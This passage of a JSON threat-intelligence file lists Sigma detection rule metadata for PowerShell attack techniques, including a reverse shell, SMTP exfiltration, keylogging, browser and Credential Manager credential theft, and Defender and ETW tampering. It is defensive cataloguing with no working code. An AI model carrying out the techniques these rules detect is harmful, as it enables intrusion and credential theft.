PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/04", "falsepositive": [ "Unlikely" ], "filename": "posh_ps_psasyncshell.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/JoelGMSec/PSAsyncShell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psasyncshell.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "afd3df04-948d-46f6-ae44-25966c44b97f", "value": "PSAsyncShell - Asynchronous TCP Reverse Shell" }, { "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", "meta": { "author": "frack113", "creation_date": "2022/09/26", "falsepositive": [ "Legitimate script" ], "filename": "posh_ps_send_mailmessage.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", "https://www.ietf.org/rfc/rfc2821.txt", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/send-mailmessage?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_send_mailmessage.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9a7afa56-4762-43eb-807d-c3dc9ffe211b", "value": "Powershell Exfiltration Over SMTP" }, { "description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/11/17", "falsepositive": [ "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" ], "filename": "posh_ps_computer_discovery_get_adcomputer.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-320a_joint_csa_iranian_government-sponsored_apt_actors_compromise_federal%20network_deploy_crypto%20miner_credential_harvester.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_computer_discovery_get_adcomputer.yml" ], "tags": [ "attack.discovery", "attack.t1033" ] }, "uuid": "db885529-903f-4c5d-9864-28fe199e6370", "value": "Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell" }, { "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/17", "falsepositive": [ "Rare intended use of hidden services", "Rare FP could occure due to the non linearity of the ScriptBlockText log" ], "filename": "posh_ps_using_set_service_to_hide_services.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_using_set_service_to_hide_services.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.privilege_escalation", "attack.t1574.011" ] }, "uuid": "953945c5-22fe-4a92-9f8a-a9edc1e522da", "value": "Abuse of Service Permissions to Hide Services Via Set-Service - PS" }, { "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.\nAdversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors,\nincluding whether or not the adversary fully infects the target and/or attempts specific actions.\n", "meta": { "author": "frack113", "creation_date": "2021/12/15", "falsepositive": [ "Unknown" ], "filename": "posh_ps_file_and_directory_discovery.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_file_and_directory_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1083" ] }, "uuid": "d23f2ba5-9da0-4463-8908-8ee47f614bb9", "value": "Powershell File and Directory Discovery" }, { "description": "Detects suspicious PowerShell invocation command parameters", "meta": { "author": "Florian Roth (rule)", "creation_date": "2017/03/12", "falsepositive": [ "Very special / sneaky PowerShell scripts" ], "filename": "posh_ps_susp_invocation_generic.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_generic.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ed965133-513f-41d9-a441-e38076a0798f", "value": "Suspicious PowerShell Invocations - Generic" }, { "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", "meta": { "author": "Ensar Şamil, @sblmsrsn, OSCD Community", "creation_date": "2020/10/05", "falsepositive": [ "App-V clients" ], "filename": "posh_ps_syncappvpublishingserver_exe.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dddfebae-c46f-439c-af7a-fdb6bde90218", "value": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction" }, { "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", "meta": { "author": "frack113", "creation_date": "2021/07/28", "falsepositive": [ "Unknown" ], "filename": "posh_ps_automated_collection.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_automated_collection.yml" ], "tags": [ "attack.collection", "attack.t1119" ] }, "related": [ { "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c1dda054-d638-4c16-afc8-53e007f3fbc5", "value": "Automated Collection Command PowerShell" }, { "description": "Detects when a user disables the Windows Firewall via a Profile to help evade defense.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/10/12", "falsepositive": [ "Unknown" ], "filename": "posh_ps_windows_firewall_profile_disabled.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell", "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", "https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps", "http://woshub.com/manage-windows-firewall-powershell/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_windows_firewall_profile_disabled.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "488b44e7-3781-4a71-888d-c95abfacf44d", "value": "Windows Firewall Profile Disabled" }, { "description": "Adversaries may create a domain account to maintain access to victim systems.\nDomain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..\n", "meta": { "author": "frack113", "creation_date": "2021/12/28", "falsepositive": [ "Legitimate administrative script" ], "filename": "posh_ps_directoryservices_accountmanagement.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=dotnet-plat-ext-6.0", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directoryservices_accountmanagement.yml" ], "tags": [ "attack.persistence", "attack.t1136.002" ] }, "related": [ { "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b29a93fb-087c-4b5b-a84d-ee3309e69d08", "value": "Manipulation of User Computer or Group Security Principals Across AD" }, { "description": "Detects scripts or commands that disabled the Powershell command history by removing psreadline module", "meta": { "author": "Ali Alwashali", "creation_date": "2022/08/21", "falsepositive": [ "Legitimate script that disables the command history" ], "filename": "posh_ps_disable_psreadline_command_history.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://twitter.com/DissectMalware/status/1062879286749773824", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_psreadline_command_history.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.003" ] }, "related": [ { "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "602f5669-6927-4688-84db-0d4b7afb2150", "value": "Disable Powershell Command History" }, { "description": "Adversaries may log user keystrokes to intercept credentials as the user types them.", "meta": { "author": "frack113", "creation_date": "2021/07/30", "falsepositive": [ "Unknown" ], "filename": "posh_ps_keylogging.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml" ], "tags": [ "attack.collection", "attack.t1056.001" ] }, "uuid": "34f90d3c-c297-49e9-b26d-911b05a4866c", "value": "Powershell Keylogging" }, { "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n", "meta": { "author": "frack113", "creation_date": "2022/01/30", "falsepositive": [ "Unknown" ], "filename": "posh_ps_access_to_browser_login_data.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml" ], "tags": [ "attack.credential_access", "attack.t1555.003" ] }, "related": [ { "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fc028194-969d-4122-8abe-0470d5b8f12f", "value": "Access to Browser Login Data" }, { "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/26", "falsepositive": [ "Unknown" ], "filename": "posh_ps_mailboxexport_share.yml", "level": "critical", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://youtu.be/5mqid-7zp8k?t=2481", "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_mailboxexport_share.yml" ], "tags": [ "attack.exfiltration" ] }, "uuid": "4a241dea-235b-4a7e-8d76-50d817b146c4", "value": "Suspicious PowerShell Mailbox Export to Share - PS" }, { "description": "Detects powershell scripts that import modules from suspicious directories", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/07", "falsepositive": [ "Unknown" ], "filename": "posh_ps_import_module_susp_dirs.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_import_module_susp_dirs.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "21f9162c-5f5d-4b01-89a8-b705bd7d10ab", "value": "Import PowerShell Modules From Suspicious Directories" }, { "description": "Detect adversaries enumerate sensitive files", "meta": { "author": "frack113", "creation_date": "2022/09/16", "falsepositive": [ "Unknown" ], "filename": "posh_ps_sensitive_file_discovery.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://twitter.com/malmoeb/status/1570814999370801158", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_sensitive_file_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1083" ] }, "uuid": "7d416556-6502-45b2-9bad-9d2f05f38997", "value": "Powershell Sensitive File Discovery" }, { "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", "meta": { "author": "frack113", "creation_date": "2021/12/20", "falsepositive": [ "Unknown" ], "filename": "posh_ps_dump_password_windows_credential_manager.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager.yml" ], "tags": [ "attack.credential_access", "attack.t1555" ] }, "related": [ { "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "99c49d9c-34ea-45f7-84a7-4751ae6b2cbc", "value": "Dump Credentials from Windows Credential Manager With PowerShell" }, { "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", "meta": { "author": "frack113", "creation_date": "2022/01/23", "falsepositive": [ "Legitimate administrative script" ], "filename": "posh_ps_susp_ssl_keyword.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1573/T1573.md#atomic-test-1---openssl-c2", "https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ssl_keyword.yml" ], "tags": [ "attack.command_and_control", "attack.t1573" ] }, "related": [ { "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "195626f3-5f1b-4403-93b7-e6cfd4d6a078", "value": "Suspicious SSL Connection" }, { "description": "Detects usage of \"Reflection.Assembly\" load functions to dynamically load assemblies in memory", "meta": { "author": "frack113", "creation_date": "2022/12/25", "falsepositive": [ "Legitimate use of the library" ], "filename": "posh_ps_dotnet_assembly_from_file.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=50", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dotnet_assembly_from_file.yml" ], "tags": "No established tags" }, "uuid": "ddcd88cb-7f62-4ce5-86f9-1704190feb0a", "value": "Potential In-Memory Execution Using Reflection.Assembly" }, { "description": "Detects use of WinAPI Functions in PowerShell scripts", "meta": { "author": "Nikita Nazarov, oscd.community, Tim Shelton", "creation_date": "2020/10/06", "falsepositive": [ "Carbon PowerShell Module (https://github.com/webmd-health-services/Carbon)" ], "filename": "posh_ps_accessing_win_api.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_accessing_win_api.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.t1106" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "03d83090-8cba-44a0-b02f-0b756a050306", "value": "Potential WinAPI Calls Via PowerShell Scripts" }, { "description": "The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory.\nThese include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.\n", "meta": { "author": "frack113", "creation_date": "2022/02/06", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_get_adreplaccount.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.006/T1003.006.md#atomic-test-2---run-dsinternals-get-adreplaccount", "https://www.powershellgallery.com/packages/DSInternals", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adreplaccount.yml" ], "tags": [ "attack.credential_access", "attack.t1003.006" ] }, "related": [ { "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "060c3ef1-fd0a-4091-bf46-e7d625f60b73", "value": "Suspicious Get-ADReplAccount" }, { "description": "Detects usage of powershell cmdlets to disable or remove ETW trace sessions", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "posh_ps_etw_trace_evasion.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_etw_trace_evasion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070", "attack.t1562.006", "car.2016-04-002" ] }, "uuid": "115fdba9-f017-42e6-84cf-d5573bf2ddf8", "value": "Disable of ETW Trace - Powershell" }, { "description": "Detects use of Set-ExecutionPolicy to set insecure policies", "meta": { "author": "frack113", "creation_date": "2021/10/20", "falsepositive": [ "Administrator script" ], "filename": "posh_ps_set_policies_to_unsecure_level.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://adsecurity.org/?p=2604", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_policies_to_unsecure_level.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "61d0475c-173f-4844-86f7-f3eebae1c66b", "value": "Change PowerShell Policies to an Insecure Level - PowerShell" }, { "description": "Enumerates Active Directory to determine computers that are joined to the domain", "meta": { "author": "frack113", "creation_date": "2022/02/12", "falsepositive": [ "Unknown" ], "filename": "posh_ps_directorysearcher.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-15---enumerate-domain-computers-within-active-directory-using-directorysearcher", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directorysearcher.yml" ], "tags": [ "attack.discovery", "attack.t1018" ] }, "uuid": "1f6399cf-2c80-4924-ace1-6fcff3393480", "value": "DirectorySearcher Powershell Exploitation" }, { "description": "Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.", "meta": { "author": "frack113", "creation_date": "2022/02/01", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_susp_unblock_file.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7.2", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_unblock_file.yml" ], "tags": [ "attack.defense_evasion", "attack.t1553.005" ] }, "related": [ { "dest-uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5947497f-1aa4-41dd-9693-c9848d58727d", "value": "Suspicious Unblock-File" }, { "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.", "meta": { "author": "frack113", "creation_date": "2021/08/23", "falsepositive": [ "Admin script" ], "filename": "posh_ps_susp_win32_pnpentity.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml" ], "tags": [ "attack.discovery", "attack.t1120" ] }, "uuid": "b26647de-4feb-4283-af6b-6117661283c5", "value": "Powershell Suspicious Win32_PnPEntity" }, { "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", "meta": { "author": "frack113", "creation_date": "2021/12/20", "falsepositive": [ "Unknown" ], "filename": "posh_ps_enumerate_password_windows_credential_manager.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enumerate_password_windows_credential_manager.yml" ], "tags": [ "attack.credential_access", "attack.t1555" ] }, "related": [ { "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "603c6630-5225-49c1-8047-26c964553e0e", "value": "Enumerate Credentials from Windows Credential Manager With PowerShell" }, { "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2019/10/08", "falsepositive": [ "Unknown" ], "filename": "posh_ps_invoke_obfuscation_via_use_rundll32.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_rundll32.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a5a30a6e-75ca-4233-8b8c-42e0f2037d3b", "value": "Invoke-Obfuscation Via Use Rundll32 - PowerShell" }, { "description": "Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", "meta": { "author": "frack113", "creation_date": "2022/09/10", "falsepositive": [ "Unknown" ], "filename": "posh_ps_disable_windowsoptionalfeature.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md", "https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windowsoptionalfeature.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "99c4658d-2c5e-4d87-828d-7c066ca537c3", "value": "Disable-WindowsOptionalFeature Command PowerShell" }, { "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.", "meta": { "author": "frack113", "creation_date": "2021/08/18", "falsepositive": [ "Unknown" ], "filename": "posh_ps_trigger_profiles.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.013/T1546.013.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_trigger_profiles.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1546.013" ] }, "related": [ { "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "05b3e303-faf0-4f4a-9b30-46cc13e69152", "value": "Powershell Trigger Profiles by Add_Content" }, { "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/05", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_tamper_defender_remove_mppreference.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender_remove_mppreference.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "ae2bdd58-0681-48ac-be7f-58ab4e593458", "value": "Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging" }, { "description": "Adversaries may abuse the Windows command shell for execution.\nThe Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems.\nThe Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops.\nCommon uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system\n", "meta": { "author": "frack113", "creation_date": "2022/01/02", "falsepositive": [ "Legitimate administration script" ], "filename": "posh_ps_susp_execute_batch_script.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.003/T1059.003.md#atomic-test-1---create-and-execute-batch-script", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_execute_batch_script.yml" ], "tags": [ "attack.execution", "attack.t1059.003" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b5522a23-82da-44e5-9c8b-e10ed8955f88", "value": "Powershell Execute Batch Script" }, { "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \\u2014", "meta": { "author": "Daniel Bohannon 